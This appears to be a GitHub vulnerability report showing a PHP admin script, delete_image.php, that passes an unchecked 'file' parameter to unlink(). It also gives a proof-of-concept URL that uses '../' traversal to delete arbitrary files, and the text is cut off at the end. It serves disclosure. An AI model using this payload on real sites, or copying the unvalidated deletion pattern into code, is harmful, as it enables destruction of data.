jsjbcyber Update bug_b History

1 contributor

29 lines (23 sloc) | 858 Bytes

```
affected source code file: /admin/delete_image.php

affected source code:
<?php
  include ("includes/headerRefresh.php");
  include ("includes/config.php");
  include ("functions/functions.php");
  require_once ("includes/session.php");
  check_login();
  $file = $_GET['file'];
  $folder = '../uploads/';
  $file_path = $folder . $file;
  if (is_file($file_path)) {
      unlink($file_path);
      redirect_to("manage_uploads.php?deleted=1");
  }
  ob_end_flush();
?>

affected function: unlink($file_path);

affected executable:
First, we can create a test file "test.txt" in root directory.

Then, visit the Vulnerable URL: http://xx.xx.com/admin/delete_image.php?file=../test.txt

and the "test.txt" file in the root directory will be deleted.

That is, we can control the "delete_image.php?file=" parameter to delete any file through the rela
```